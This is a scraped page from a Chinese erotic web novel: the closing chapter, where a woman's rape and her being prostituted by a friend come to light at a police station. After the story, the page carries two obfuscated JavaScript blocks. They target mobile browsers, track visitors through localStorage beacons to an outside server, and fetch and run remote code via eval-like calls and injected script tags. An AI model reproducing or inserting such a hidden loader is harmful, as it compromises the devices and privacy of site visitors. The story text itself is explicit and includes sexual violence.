游正德仔细一看,看到了两个男人和李丽薇的猥亵画面,大为抓狂,气得七窍冒烟:“你……你们敢欺负我的小薇?”

不顾一切扑上前去和两个男人扭打在一起。

李丽薇害怕地大叫:“不要打了!不要打了!来人啊……”

在警察局里,那两个男人被戴上了手铐,李丽薇和游正德在另一个房间中隔桌相对而坐,默默不语。

警察经过仔细的调查,明白这两个男人是强奸李丽薇的嫌犯,也调查出李丽薇就是常在晚上打扮妖艳淫荡,勾引男人做爱的淫荡女人。

也经过一些男性证人的指证,指出施窈窕就是收取和李丽薇做爱后交易费的女人。

看着浓装艳抹的李丽薇,游正德痛苦地问:“你……你为什么要作贱自己?

你可知道,你失踪后,我快急死了!登报纸寻人广告、上网协寻,还报了警,都一直找不到你,我差点要自杀了!你知道吗?“

李丽薇虽低着头,但还是冷冷地说:“我失踪了,你就可以正大光明地和别的女人亲热了,应该会更开心的,不是吗?”

游正德皱眉说:“你在胡说些什么?你是我心中的唯一,我怎会找别的女人?”

李丽薇“哼”的一声:“别装了!我有看到,有一个女人在我们的房间里帮你口交的……”

游正德愣了一下,惭愧地说:“对不起,是我不好。你不愿我碰你,我是男人,也会有性的需求的。那个女人是妓女,只不过是我单纯发泄性欲的对象而已。你失踪后我快急死了,根本不会有心情找妓女的。你看到的,是我唯一的一次!我发誓!”

看到游正德坚定的表情,李丽薇知道他没有说谎,不禁伤心地垂下泪来。

这时,警察带着施窈窕走了进来。

李丽薇看到施窈窕,气愤地哭着:“原来……原来你一直把我当妓女、当你的摇钱树!我被你骗得好惨!喔……”

施窈窕说:“小薇,你还不相信窈窕姐的为人吗?我绝对没把你当摇钱树!向奸淫你的男人收的钱,我都帮你存起来了,一毛钱也没花呢!”

说完,从口袋中取出一本存款簿交给李丽薇。

李丽薇看到存款簿上,的确是自己的名字,心中一软,又哭了出来。

游正德恶狠狠地瞪着施窈窕,大吼:“你这个可恶的女人!把我的小薇害成这样!我……我真想打死你!”

施窈窕不屑地白了游正德一眼:“装模作样的臭男人!你才是害了小薇的人!小薇和我在一起,可比和你在一起快乐多了!”

“你……”

游正德气得紧握双拳要揍人了。

“喂!这里是警察局耶!都给我控制一点!”

警察说:“现在要问李小姐的口供了,其他人通通出去吧!”

李丽薇微微抬起头,看着游正德和施窈窕走出去时的背影。

离开警察局后,究竟是该重回游正德的怀抱,还是继续和施窈窕在一起呢?

李丽薇不禁叹了一口气。

【全文完】


上一篇:女王异闻录序-2

下一篇:新婚之夜全


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};